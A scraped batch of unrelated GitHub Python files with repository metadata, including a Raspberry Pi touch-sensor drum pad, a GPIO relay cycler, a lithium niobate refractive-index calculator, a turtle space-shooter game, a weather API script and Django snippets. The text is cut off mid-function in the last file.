"[email protected]"
] | |
237064d71d34d66d145a5e68a9505990ef401800 | ed8ea7e892c11caa82fefbe38cdd5b417ac24694 | /playtest_working.py | f46c3694da64d085a97f034c176f50ef456840b7 | [] | no_license | TonyCanning/MPR121 | 4263572e495a58f55cad1b368a21627a181b1d79 | 63cd876e755c18b1e74f82e05c7ece8f880b9110 | refs/heads/master | 2020-04-29T06:03:22.955406 | 2019-03-15T23:30:40 | 2019-03-15T23:30:40 | 175,903,532 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,652 | py | # Copyright (c) 2014 Adafruit Industries
# Author: Tony DiCola
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
import sys
import time
import pygame
import Adafruit_MPR121.MPR121 as MPR121
from mote import Mote
from threading import Thread
# Thanks to Scott Garner & BeetBox!
# https://github.com/scottgarner/BeetBox/
print 'Adafruit MPR121 Capacitive Touch Audio Player Test'
# Create MPR121 instance.
cap = MPR121.MPR121()
mote = Mote()
mote.configure_channel(1, 16, False)
mote.configure_channel(2, 16, False)
mote.configure_channel(3, 16, False)
mote.configure_channel(4, 16, False)
def redPulse():
# Initialize communication with MPR121 using default I2C bus of device, and
# default I2C address (0x5A). On BeagleBone Black will default to I2C bus 0.
if not cap.begin():
print('Error initializing MPR121. Check your wiring!')
sys.exit(1)
# Alternatively, specify a custom I2C address such as 0x5B (ADDR tied to 3.3V),
# 0x5C (ADDR tied to SDA), or 0x5D (ADDR tied to SCL).
#cap.begin(address=0x5B)
# Also you can specify an optional I2C bus with the bus keyword parameter.
#cap.begin(busnum=1)
pygame.mixer.pre_init(44100, -16, 12, 512)
pygame.init()
# Define mapping of capacitive touch pin presses to sound files
# tons more sounds are available but because they have changed to .flac in /opt/sonic-pi/etc/samples/ some will not work
# more .wav files are found in /usr/share/scratch/Media/sounds/ that work fine this example uses Aniamal sounds.
SOUND_MAPPING = {
0: '/home/pi/sounds/E808_Loop_BD_105-02.wav',
1: '/home/pi/sounds/E808_Loop_BD_105-03.wav',
2: '/home/pi/sounds/E808_Loop_SD_105-02.wav',
3: '/home/pi/sounds/E808_Loop_SD_105-03.wav',
4: '/home/pi/sounds/E808_Loop_Toms_105-02.wav',
5: '/home/pi/sounds/E808_Loop_Toms_105-03.wav',
6: '/home/pi/sounds/E808_Loop_Hats_105-02.wav',
7: '/home/pi/sounds/E808_Loop_Hats_105-03.wav',
8: '/home/pi/sounds/E808_Loop_Perc_105-02.wav',
9: '/home/pi/sounds/E808_Loop_Perc_105-03.wav',
10: '/home/pi/sounds/E808_Loop_Hats_105-04.wav',
11: '/home/pi/sounds/E808_Loop_Hats_105-05.wav',
}
#SOUND_MAPPING = {
# 0: '/opt/sonic-pi/etc/samples/ambi_piano.flac',
# 1: '/opt/sonic-pi/etc/samples/elec_hollow_kick.flac',
# 2: '/opt/sonic-pi/etc/samples/ambi_soft_buzz.flac',
# 3: '/opt/sonic-pi/etc/samples/bass_dnb_f.flac',
# 4: '/opt/sonic-pi/etc/samples/bass_hit_c.flac',
# 5: '/opt/sonic-pi/etc/samples/elec_plip.flac',
# 6: '/opt/sonic-pi/etc/samples/bass_trance_c.flac',
# 7: '/opt/sonic-pi/etc/samples/vinyl_backspin.flac',
# 8: '/opt/sonic-pi/etc/samples/elec_soft_kick.flac',
# 9: '/opt/sonic-pi/etc/samples/elec_tick.flac',
# 10: '/opt/sonic-pi/etc/samples/vinyl_rewind.flac',
# 11: '/opt/sonic-pi/etc/samples/elec_twang.flac',
#}
#UNCOMMENT FOR ANIMAL sounds :)
# SOUND_MAPPING = {
# 0: '/usr/share/scratch/Media/sounds/Animal/Bird.wav',
# 1: '/usr/share/scratch/Media/sounds/Animal/Cricket.wav',
# 2: '/usr/share/scratch/Media/sounds/Animal/Dog1.wav',
# 3: '/usr/share/scratch/Media/sounds/Animal/Dog2.wav',
# 4: '/usr/share/scratch/Media/sounds/Animal/Duck.wav',
# 5: '/usr/share/scratch/Media/sounds/Animal/Goose.wav',
# 6: '/usr/share/scratch/Media/sounds/Animal/Horse.wav',
# 7: '/usr/share/scratch/Media/sounds/Animal/Kitten.wav',
# 8: '/usr/share/scratch/Media/sounds/Animal/Meow.wav',
# 9: '/usr/share/scratch/Media/sounds/Animal/Owl.wav',
# 10: '/usr/share/scratch/Media/sounds/Animal/Rooster.wav',
# 11: '/usr/share/scratch/Media/sounds/Animal/WolfHowl.wav',
# }
sounds = [0,0,0,0,0,0,0,0,0,0,0,0]
for key,soundfile in SOUND_MAPPING.iteritems():
sounds[key] = pygame.mixer.Sound(soundfile)
sounds[key].set_volume(1);
# Main loop to print a message every time a pin is touched.
print('Press Ctrl-C to quit.')
last_touched = cap.touched()
while True:
mote.clear()
cap.set_thresholds(12, 6)
current_touched = cap.touched()
# Check each pin's last and current state to see if it was pressed or released.
for i in range(12):
# Each pin is represented by a bit in the touched value. A value of 1
# means the pin is being touched, and 0 means it is not being touched.
pin_bit = 1 << i
# First check if transitioned from not touched to touched.
if current_touched & pin_bit and not last_touched & pin_bit:
print('{0} touched!'.format(i))
if (sounds[i]):
sounds[i].play()
if i == 0:
for channel in range (1,2):
for pixel in range (16):
mote.set_pixel(channel, pixel, 255, 0, 0)
mote.show()
time.sleep(0.003)
for channel in range (1,2):
for pixel in range (16):
mote.set_pixel(channel, pixel, 100, 0, 0)
mote.show()
time.sleep(0.003)
if i == 1:
for channel in range (2,3):
for pixel in range (16):
mote.set_pixel(channel, pixel, 0, 255, 0)
mote.show()
time.sleep(0.003)
for channel in range (2,3):
for pixel in range (16):
mote.set_pixel(channel, pixel, 0, 100, 0)
mote.show()
time.sleep(0.003)
if i == 2:
for channel in range (3,4):
for pixel in range (16):
mote.set_pixel(channel, pixel, 0, 0, 255)
mote.show()
time.sleep(0.003)
for channel in range (3,4):
for pixel in range (16):
mote.set_pixel(channel, pixel, 0, 0, 100)
mote.show()
time.sleep(0.003)
if i == 3:
for channel in range (4,5):
for pixel in range (16):
mote.set_pixel(channel, pixel, 255, 255, 0)
mote.show()
time.sleep(0.003)
for channel in range (4,5):
for pixel in range (16):
mote.set_pixel(channel, pixel, 100, 100, 0)
mote.show()
time.sleep(0.003)
if i == 4:
for channel in range (1,2):
for pixel in range (16):
mote.set_pixel(channel, pixel, 0, 255, 255)
mote.show()
time.sleep(0.003)
for channel in range (1,2):
for pixel in range (16):
mote.set_pixel(channel, pixel, 0, 100, 100)
mote.show()
time.sleep(0.003)
if i == 5:
for channel in range (2,3):
for pixel in range (16):
mote.set_pixel(channel, pixel, 255, 0, 255)
mote.show()
time.sleep(0.003)
for channel in range (2,3):
for pixel in range (16):
mote.set_pixel(channel, pixel, 100, 0, 100)
mote.show()
time.sleep(0.003)
if i == 6:
for channel in range (3,4):
for pixel in range (16):
mote.set_pixel(channel, pixel, 255, 255, 255)
mote.show()
time.sleep(0.003)
for channel in range (3,4):
for pixel in range (16):
mote.set_pixel(channel, pixel, 100, 100, 100)
mote.show()
time.sleep(0.003)
if i == 7:
for channel in range (1,5):
for pixel in range (16):
mote.set_pixel(channel, pixel, 255, 0, 0)
mote.show()
time.sleep(0.003)
for channel in range (1,5):
for pixel in range (16):
mote.set_pixel(channel, pixel, 100, 0, 0)
mote.show()
time.sleep(0.003)
if i == 8:
for channel in range (1,5):
for pixel in range (16):
mote.set_pixel(channel, pixel, 0, 255, 0)
mote.show()
time.sleep(0.003)
for channel in range (1,5):
for pixel in range (16):
mote.set_pixel(channel, pixel, 0, 100, 0)
mote.show()
time.sleep(0.003)
if i == 9:
for channel in range (1,5):
for pixel in range (16):
mote.set_pixel(channel, pixel, 0, 0, 255)
mote.show()
time.sleep(0.003)
for channel in range (1,5):
for pixel in range (16):
mote.set_pixel(channel, pixel, 0, 0, 100)
mote.show()
time.sleep(0.003)
if i == 10:
for channel in range (1,5):
for pixel in range (16):
mote.set_pixel(channel, pixel, 255, 0, 255)
mote.show()
time.sleep(0.003)
for channel in range (1,5):
for pixel in range (16):
mote.set_pixel(channel, pixel, 100, 0, 100)
mote.show()
time.sleep(0.003)
if i == 11:
for channel in range (1,5):
for pixel in range (16):
mote.set_pixel(channel, pixel, 255, 255, 255)
mote.show()
time.sleep(0.003)
for channel in range (1,5):
for pixel in range (16):
mote.set_pixel(channel, pixel, 100, 100, 100)
mote.show()
time.sleep(0.003)
if not current_touched & pin_bit and last_touched & pin_bit:
print('{0} released!'.format(i))
# Update last state and wait a short period before repeating.
last_touched = current_touched
time.sleep(0.1)
# Alternatively, if you only care about checking one or a few pins you can
# call the is_touched method with a pin number to directly check that pin.
# This will be a little slower than the above code for checking a lot of pins.
#if cap.is_touched(0):
# print('Pin 0 is being touched!')
# If you're curious or want to see debug info for each pin, uncomment the
# following lines:
#print('\t\t\t\t\t\t\t\t\t\t\t\t\t 0x{0:0X}'.format(cap.touched()))
#filtered = [cap.filtered_data(i) for i in range(12)]
#print('Filt:', '\t'.join(map(str, filtered)))
#base = [cap.baseline_data(i) for i in range(12)]
#print('Base:', '\t'.join(map(str, base)))
| [
"[email protected]"
] | |
ee47351591b57b6dadf83f56f063681c55883f10 | 31d0021585170f5c608bd05a33e4d5f5cc1a460b | /jiden_py/light01on.py | 36f184e85b170deb2a2c0db3bced6785c1cbb4c9 | [] | no_license | Noitamin/Jiden | a6058f362cfca686951c867f164f3fbe89fc6762 | 44b418d23ee223ad0f023be2f23fadd3493daddb | refs/heads/master | 2021-01-12T09:37:45.342132 | 2017-06-18T22:38:51 | 2017-06-18T22:38:51 | 76,205,512 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 796 | py | #!/usr/bin/python
import RPi.GPIO as GPIO
import time
GPIO.setmode(GPIO.BCM)
# init list with pin numbers
pinList = [9, 10, 22, 27, 17, 4, 3, 2]
# loop through pins and set mode and state to 'low'
for i in pinList:
GPIO.setup(i, GPIO.OUT)
GPIO.output(i, GPIO.HIGH)
# time to sleep between operations in the main loop
SleepTimeL = 1
# main loop
try:
print "Started: cycle.py"
for j in pinList:
GPIO.output(j, GPIO.LOW)
print " GPIO " + str(j) + " is LOW (On)"
time.sleep(SleepTimeL)
GPIO.output(j, GPIO.HIGH)
print " GPIO " + str(j) + " is HIGH (Off)"
time.sleep(SleepTimeL);
GPIO.cleanup()
print "Finished: cycle.py"
# End program cleanly with keyboard
except KeyboardInterrupt:
print "Good Bye"
# Reset GPIO settings
GPIO.cleanup()
| [
"[email protected]"
] | |
6393b66f12e8711b0e78f5afb9a0baf9225ecd9f | 3029fbe683ca173d712d0f49254bdd5a8f5e8883 | /OPO_Python/rindmgoplln.py | 779b2315c2923334e70a6b804edeaaa88f22b119 | [] | no_license | alfredos84/NONLINEAR_OPTICS | b2202cd4aabafdcf40089712bc7d3bd435a0966f | aceea094d6862e5db24e62fe9cd6e444909b6e4b | refs/heads/master | 2023-05-14T05:32:42.263326 | 2023-05-04T12:07:06 | 2023-05-04T12:07:06 | 158,390,061 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,344 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue Feb 16 14:40:11 2021
@author: alfredo
"""
import numpy as np
import matplotlib.pyplot as plt
# Constants
c = 299792458*1e6/1e12 # speed of light in vac. [μm/ps]
pi = np.pi
def n(L,T):
""" This function returns the MgO:PPLN extraordinary refractive index
from the Sellmeier Equation.
Reference: O. Gayer_Temperature and wavelength dependent refractive index
equations for MgO-doped congruent and stoichiometric LiNbO3
INPUTS:
L: wavelenght in um
T: temperature in degrees
OUTPUT:
ne: refractive index as a funcion of wavelength"""
f = (T - 24.5) * (T + 570.82)
a1 = 5.756
a2 = 0.0983
a3 = 0.2020
a4 = 189.32
a5 = 12.52
a6 = 1.32e-2
b1 = 2.860e-6
b2 = 4.700e-8
b3 = 6.113e-8
b4 = 1.516e-4
G1 = a1 + b1*f
G2 = a2 + b2*f
G3 = a3 + b3*f
G4 = a4 + b4*f
return np.sqrt(G1+G2/(L**2 - G3**2)+G4/(L**2-a5**2)-a6*L**2)
def dndl(L, T):
"""Returns the first-order derivative of the refractive index respect to
the wavelength dn/dλ."""
f = (T - 24.5) * (T + 570.82)
a2 = 0.0983
a3 = 0.2020
a4 = 189.32
a5 = 12.52
a6 = 1.32e-2
b2 = 4.700e-8
b3 = 6.113e-8
b4 = 1.516e-4
G2 = a2 + b2*f
G3 = a3 + b3*f
G4 = a4 + b4*f
return -L*(G2/(L**2-G3**2)**2+G4/(L**2-a5**2)**2+a6)/n(L, T)
def d2ndl2(L, T):
"""Returns the second-order derivative of the refractive index respect to
the wavelength d²n/dλ²."""
f = (T - 24.5) * (T + 570.82)
a2 = 0.0983
a3 = 0.2020
a4 = 189.32
a5 = 12.52
b2 = 4.700e-8
b3 = 6.113e-8
b4 = 1.516e-4
G2 = a2+b2*f
G3 = a3+b3*f
G4 = a4+b4*f
A =((n(L,T)-L*dndl(L,T))/n(L,T))*dndl(L,T)/L
B = ( G2/(L**2-G3**2)**3 + G4/( L**2-a5**2)**3 ) *4*L**2/n(L,T)
return A+B
def group_vel(L, T):
""" Returns the group-velocity vg(λ) = c/(n(λ)-λdn/dλ). """
c = 299792458*1e6/1e12 # speed of light in vac. [μm/ps]
return c/(n(L,T)-L*dndl(L,T))
def GVD(L, T):
"""Returns the group-velocity β(λ)=λ^3/(2πc²)(d²n/dλ²)."""
c = 299792458*1e6/1e12 # speed of light in vac. [μm/ps]
return L**3*d2ndl2(L, T)/(2*pi*c**2)
def plots(lmin, lmax, x, T):
""" This funtion plots the refractive index, the group velocity and the
GVD as a function of the wavelength.
INTPUS:
lmin, lmax: minimun and maximun wavelengths in microns (float)
x : list of wavelength to label in each plot (list)
T : temperature in Celsius degrees (float)
OUTPUTS:
Three plots for each quantity.
"""
c = 299792458*1e6/1e12 # speed of light in vac. [μm/ps]
L=np.linspace(lmin,lmax,1000)
yn = n(np.array(x), T)
yv = group_vel(np.array(x),T)/c
yb = GVD(np.array(x), T)*1e9
nn = yn.astype(float).tolist()
nv = yv.astype(float).tolist()
nb = yb.astype(int).tolist()
fig, ax = plt.subplots()
plt.title("Refractive index for MgO:PPLN at T={:1d} °C".format(T))
ax.plot(L,n(L, T))
ax.scatter(x, yn,color="red")
plt.xlim([lmin,lmax])
plt.xlabel(r"$\lambda$ ($\mu$m)")
plt.ylabel(r"n($\lambda$)")
plt.grid()
for i, txt in enumerate(nn):
ax.annotate("{:.2f}".format(txt), (x[i], yn[i]))
fig, ax = plt.subplots()
plt.title("Group-velocity for MgO:PPLN at T={:1d} °C".format(T))
ax.plot(L,group_vel(L, T)/c)
ax.scatter(x, yv,color="red")
plt.xlim([lmin,lmax])
# plt.ylim([0.37,0.4615])
# plt.yticks([0.37,0.38,0.39,0.40,0.41,0.42,0.43,0.44,0.45,0.46])
plt.xlabel(r"$\lambda$ ($\mu$m)")
plt.ylabel(r"$\nu_g$/c")
plt.grid()
for i, txt in enumerate(nv):
ax.annotate("{:.2f}".format(txt), (x[i], yv[i]))
fig, ax = plt.subplots()
ax.plot(L,GVD(L, T)*1e9)
ax.scatter(x, yb,color="red")
plt.title("GVD for MgO:PPLN at T={:1d} °C".format(T))
plt.xlabel(r"$\lambda$ ($\mu$m)")
plt.ylabel(r"$\beta_2$ (fs$^2$/mm)")
plt.xlim([lmin,lmax])
# plt.ylim([-4000,1000])
plt.grid()
for i, txt in enumerate(nb):
ax.annotate(txt, (x[i], yb[i]))
plt.close("all")
lmin,lmax = .4, 3.9
x = np.array([1.064,2*1.064])
plots(lmin, lmax, x, 21) | [
"[email protected]"
] | |
435a2cea57b7546d34da2a21743ecb71106767eb | 14e593a4f69abf5a374ee65b0fb9b20d4a5d4ba9 | /article/admin.py | a85dfc428fc6cba90e0f75d00e1dee15e6f6b599 | [] | no_license | leisure21/blog_django | ea535b744c26cbee09dbef9c6d5052351f26aa97 | c4ee297271ac8ca55d04f5e8f18e285b07fce7e9 | refs/heads/master | 2020-05-30T11:54:15.837357 | 2016-05-23T06:16:01 | 2016-05-23T06:16:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 298 | py | from django.contrib import admin
from article.models import Article
# Register your models here.
class ArticleAdmin(admin.ModelAdmin):
# fields = ['title', 'content']
class Media:
js = ['/js/tinymce/tinymce.min.js', '/js/tinymce/textareas.js']
admin.site.register(Article, ArticleAdmin)
| [
"[email protected]"
] | |
6becc6b90dd27d0dc7307902ed7398c75e74642a | 08e2faa238730c34ffd7a94d4578daba1d658c0b | /api.py | cba2d0294a4f763eba7e58b38f549445ed807fe8 | [] | no_license | Tech-Sultan/API | db70665dbffc250df2cdf7c66ccdf7b0fd3413c1 | d4269bd2991d3b6a8c72662016bcfd813d1a9b63 | refs/heads/main | 2023-03-19T23:11:47.013312 | 2021-03-06T19:42:33 | 2021-03-06T19:42:33 | 345,180,048 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 293 | py | import requests
api = 'https://api.openweathermap.org/data/2.5/weather?appid=0c42f7f6b53b244c78a418f4f181282a&q='
city = input('Enter your city: ')
url = api + city
jason_data = requests.get(url).json()
formatted_data = jason_data['weather'][0]['description']
print(formatted_data)
| [
"[email protected]"
] | |
52171e43cd709790e0c40d5788d673a5c8f7dffb | affcaa4ec1e69bf96d1432ce0d6788d72a90561c | /Main_Form.py | 840d352577b0fb2799d872a5a6ca34688432c97a | [] | no_license | YYN87/Testing_Repository | 61176e81346d81483f9872d334c94837e77b2186 | 5895720110ffdd57f9ac23802f22bd536a7fb823 | refs/heads/master | 2020-04-21T23:39:59.580999 | 2019-02-10T09:00:55 | 2019-02-10T09:00:55 | 169,953,504 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,254 | py | # Copyrights Yasas Y Nonis
import turtle
import math
import random
import winsound
import tkMessageBox
import keyboard
# region Screen Settings. Testing Comment
wn = turtle.Screen()
wn.title("Monkey Hunting V 1.0")
wn.bgcolor("green")
wn.bgpic("C:\Users\yasas\Desktop\Python\Space_Invaders_with_Classes\spaceImage.gif")
# endregion
# region Registering the shapes
turtle.register_shape("C:\Users\yasas\Desktop\Python\Space_Invaders_with_Classes\player.gif")
turtle.register_shape("C:\Users\yasas\Desktop\Python\Space_Invaders_with_Classes\invader.gif")
# endregion
class Player(turtle.Turtle):
def __init__(self):
turtle.Turtle.__init__(self)
self.penup()
self.shape("C:\Users\yasas\Desktop\Python\Space_Invaders_with_Classes\player.gif")
self.speed(0)
self.setposition(0, -280)
self.speed = 10
def move_right(self):
x = self.xcor()
x += self.speed
self.setx(x)
if x > 280:
self.setx(280)
def move_left(self):
x = self.xcor()
x -= self.speed
self.setx(x)
if x < -280:
self.setx(-280)
def speed_increase(self):
self.speed += 10
def speed_decrease(self):
self.speed -= 10
class Enemy(turtle.Turtle):
def __init__(self):
turtle.Turtle.__init__(self)
self.penup()
self.speed(0)
self.speed = 0.1 # x direction speed
self.speedY = 0.1 # y direction speed
self.shape("C:\Users\yasas\Desktop\Python\Space_Invaders_with_Classes\invader.gif")
x = random.randint(-275, 275)
y = random.randint(200, 275)
self.setposition(x, y)
self.heightDiff = 40
def enemy_motion(self):
# Moving enemy
x = self.xcor()
y = self.ycor()
# Checking for borders
if x > 280:
self.speed *= -1
y -= self.heightDiff
elif x < -280:
self.speed *= -1
y -= self.heightDiff
x += self.speed
self.setposition(x, y)
def enemy_motion_2(self):
# if scoring.Points() < 100:
x = self.xcor()
y = self.ycor()
if self.speed > 0:
y -= self.speed
else:
y += self.speed
self.setposition(x, y)
if y < -300:
x1 = random.randint(-275, 275)
y1 = random.randint(200, 275)
self.setposition(x1, y1)
def enemy_motion_3(self):
x = self.xcor()
y = self.ycor()
x -= self.speed
y -= self.speedY
self.setposition(x, y)
# Checking for borders
if x > 280:
self.speed *= -1
# y -= self.heightDiff
elif x < -280:
self.speed *= -1
# y -= self.heightDiff
if y < -300:
x2 = random.randint(-275, 275)
y2 = random.randint(200, 275)
self.setposition(x2, y2)
class Border(turtle.Turtle):
def __init__(self):
turtle.Turtle.__init__(self)
self.penup()
self.hideturtle()
self.speed(0)
self.color("white")
self.pensize(3)
def draw_borders(self):
self.penup()
self.goto(-300, -300)
self.pendown()
for side in range(4):
self.fd(600)
self.lt(90)
self.penup()
def draw_score_border(self):
self.penup()
self.goto(302, 200)
self.color("black")
self.pendown()
for side in range(4):
self.fd(100)
self.lt(90)
self.penup()
class Bullet(turtle.Turtle):
def __init__(self):
turtle.Turtle.__init__(self)
self.speed(0)
self.shape("triangle")
self.color("yellow")
self.penup()
self.setheading(90)
self.shapesize(0.5, 0.5)
self.speed = 1
self.hideturtle()
def bullet_position(self):
x = player.xcor()
y = player.ycor() + 10
self.setposition(x, y)
self.showturtle()
winsound.PlaySound("C:\Users\yasas\Desktop\Python\Space_Invaders_with_Classes\laser.wav", winsound.SND_ASYNC)
def isBulletPassed(self):
if self.ycor() > 280:
return True
else:
return False
def bullet_motion(self):
# if self.isBulletPassed == True:
if self.ycor() > 280:
self.hiding_bullet()
else:
y1 = self.ycor()
y1 += self.speed
self.sety(y1)
# def remaining_bullets(self):
# rem_bullets = self.no_of_bullets - keypress.shot_pressed
# return rem_bullets
def hiding_bullet(self):
# if isCollision(enemy, bullet) == True:
self.hideturtle()
self.setposition(0, 400)
class Score(turtle.Turtle):
def __init__(self):
turtle.Turtle.__init__(self)
self.color("black")
self.speed(0)
self.penup()
self.setposition(-300, 300)
self.score = 0
scorestring = "Score : %s" % self.score
self.write(scorestring, False, align = "left", font = ("Arial", 14, "normal"))
self.hideturtle()
def Points(self):
if Collision().isCollision(bullet, enemy) == True:
self.score += 10
scorestring = "Score : %s" % self.score
self.clear()
self.write(scorestring, False, align="left", font=("Arial", 14, "normal"))
return self.score
def return_score(self):
return self.score
def check_score(self):
if self.score < 150:
return "motion_1"
elif self.score >= 150 and self.score < 300:
return "motion_2"
else:
return "motion_3"
def speed_tracking(self):
if self.score % 100 == 0 and self.score != 0: # and self.score < 200:
bullet.speed += 0.1
if enemy.speed > 0:
enemy.speed += 0.1
enemy.speedY += 0.1
else:
enemy.speed -= 0.1
enemy.speedY += 0.1
class Levels(turtle.Turtle):
def __init__(self):
turtle.Turtle.__init__(self)
self.color("black")
self.speed(0)
self.penup()
self.setposition(305, 250)
self.no_of_bullets = 20
self.no_of_level = 1
bullets = "Bullets : %s \n" % self.no_of_bullets
level = "Level : %s " % self.no_of_level
self.write(bullets + level, False, align="left", font=("Arial", 14, "normal"))
self.hideturtle()
def remaining_bullets(self):
global youLost
global rem_bullets
if rem_bullets < 0:
youLost = "True"
else:
if scoring.return_score() != 0 and scoring.return_score() % 100 == 0 and rem_bullets <= 20:
rem_bullets += self.no_of_bullets
bullets = "Bullets : %s \n" % rem_bullets
self.clear()
self.write(bullets, False, align="left", font=("Arial", 14, "normal"))
else:
bullets = "Bullets : %s \n" % rem_bullets
self.clear()
self.write(bullets, False, align="left", font=("Arial", 14, "normal"))
class Collision:
def isCollision(self, a1, a2):
dist_x = a1.xcor()-a2.xcor()
dist_y = a1.ycor()-a2.ycor()
distance = math.sqrt(math.pow(dist_x, 2)+math.pow(dist_y, 2))
if distance < 15:
winsound.PlaySound("C:\Users\yasas\Desktop\Python\Space_Invaders_with_Classes\explosion.wav", winsound.SND_ASYNC)
return True
else:
return False
def pause():
tkMessageBox.showinfo("Paused", "Press ENTER to continue")
class Key_Press:
def __init__(self):
self.shot_pressed = 0
self.was_pressed = False
def key_count(self):
global rem_bullets
if keyboard.is_pressed('space'):
if not self.was_pressed:
self.shot_pressed += 1
rem_bullets = rem_bullets - 1
self.was_pressed = True
else:
self.was_pressed = False
# region Create objects and Main Variables
player = Player()
bullet = Bullet()
scoring = Score()
Border().draw_borders()
Border().draw_score_border()
levels = Levels()
youLost = "False"
keypress = Key_Press()
rem_bullets = 20
no_of_enemies = 8
enemies = []
for i in range(no_of_enemies):
enemies.append(Enemy())
enemy = enemies[no_of_enemies-1]
# endregion
# region Keyboard bindings
turtle.listen()
turtle.onkey(player.move_right, "Right")
turtle.onkey(player.move_left, "Left")
turtle.onkey(player.speed_increase, "Up")
turtle.onkey(player.speed_decrease, "Down")
turtle.onkey(bullet.bullet_position, "space")
turtle.onkey(pause, "Escape")
# endregion
wn.tracer(0)
# region Main Loop
while True:
wn.update()
for enemy in enemies:
scoring.Points()
if scoring.check_score() == "motion_1":
enemy.enemy_motion()
elif scoring.check_score() == "motion_2":
enemy.enemy_motion_2()
else:
enemy.enemy_motion_3()
if Collision().isCollision(enemy, bullet) == True:
bullet.hiding_bullet()
x = random.randint(-200, 200)
y = random.randint(200, 250)
enemy.setposition(x, y)
# scoring.Points()
# #Can I make any modifications to increase the efficiency ????
for enemy in enemies:
scoring.speed_tracking()
if Collision().isCollision(enemy, player) == True: #or enemy.ycor() <= player.ycor():
player.hideturtle()
for enemy in enemies:
enemy.hideturtle()
tkMessageBox.showinfo("GAME OVER", "YOU LOST")
winsound.PlaySound("C:\Users\yasas\Desktop\Python\Space_Invaders_with_Classes\Game_Over.wav", winsound.SND_ASYNC)
youLost = "True"
break
if bullet.isBulletPassed == True:
bullet.bullet_position()
bullet.bullet_motion()
keypress.key_count()
levels.remaining_bullets()
if youLost == "True":
break
# endregion
turtle.done()
| [
"[email protected]"
] | |
e71a2a66462e4da023ba76d3f8925e11e736f6fc | f48df6bee569e4d47c6a1a451520c89665b1b3dd | /venv/Scripts/easy_install-script.py | d906cc80361e838ffbe9b994ca50f35db310332a | [] | no_license | artume99/logic-huji | 98bf97010d6fe3fc7fdf5fb70a4cb48209a98e04 | 61c152c545b18f75993f3469350aa476bad4d98f | refs/heads/master | 2023-02-21T17:46:49.251657 | 2021-01-15T16:09:35 | 2021-01-15T16:09:35 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 452 | py | #!C:\Users\artum\PycharmProjects\ex0_logic\venv\Scripts\python.exe
# EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==40.8.0','console_scripts','easy_install'
__requires__ = 'setuptools==40.8.0'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(
load_entry_point('setuptools==40.8.0', 'console_scripts', 'easy_install')()
)
| [
"[email protected]"
] | |
3b6209eca6e3f5c413d537974973e7ec2d154c13 | 8a1d6bbad50a7d5532849a2bf75a536b911701c7 | /PROJETO_OPE/Cliente/migrations/0003_auto_20191024_0900.py | d82985b5c8e8c5d091a0e9b520eee16a10b7241a | [
"Apache-2.0"
] | permissive | RonaldHuan/OPE_HEROKU | 1a8fab60d77f5c584fb90c6c6d3440f184f3fe75 | 306a987fbbd068d613301b9118ec22f028bf7b22 | refs/heads/develop | 2022-12-13T13:24:30.636111 | 2019-11-01T13:47:00 | 2019-11-01T13:47:00 | 216,797,954 | 0 | 0 | null | 2022-12-08T06:15:01 | 2019-10-22T11:33:29 | CSS | UTF-8 | Python | false | false | 478 | py | # Generated by Django 2.2.3 on 2019-10-24 12:00
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('Cliente', '0002_auto_20191020_2050'),
]
operations = [
migrations.RenameField(
model_name='cliente',
old_name='cidade',
new_name='data_aniversario',
),
migrations.RemoveField(
model_name='cliente',
name='estado',
),
]
| [
"[email protected]"
] | |
725071459bdfe0b035de8164a562b80990a293b4 | 1b2fd519e97a9cd97404163ce45f967bd2a8ac35 | /leaf/corelib/__init__.py | 3d8a954c99d6c47d7c2ff3266ded4e67f4db4d7c | [] | no_license | herove/leaftime | 4e976d01087266af95933402e1e391ef5544caf2 | 760e26a3452909c0af7b38640b64c7f15c07893d | refs/heads/master | 2020-04-06T06:52:26.273115 | 2013-04-26T19:07:05 | 2013-04-26T19:07:05 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 118 | py | # -*- coding: utf-8 -*-
def format_textarea(content):
return content.replace(' ',' ').replace('\r','<br/>')
| [
"[email protected]"
] | |
cdf05ba3867e5405175fa9f46a48dad48d5d036f | 1054e39961509cf64c4d04c5361cbb302555cb07 | /tranco/tranco.py | 763e30a3816e05c6528bf9573cc09e79a3fc56b5 | [
"MIT"
] | permissive | IDSdarg/tranco-python-package | 4ea43c86da1e3b4792fa3072989a2ca865e2c3ce | afdd4b813a6d95c6de1da1b0f48cb9cb27d3a9df | refs/heads/master | 2020-04-25T11:11:25.080035 | 2019-02-22T09:43:11 | 2019-02-22T09:43:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,624 | py | import zipfile
from io import BytesIO
import requests
import os
from datetime import datetime, timedelta
class TrancoList():
def __init__(self, date, list_id, lst):
self.date = date
self.list_id = list_id
self.list_page = "https://tranco-list.eu/list/{}/1000000".format(list_id)
self.list = lst
def top(self, num=1000000):
return self.list[:num]
def rank(self, domain):
try:
return self.list.index(domain) + 1
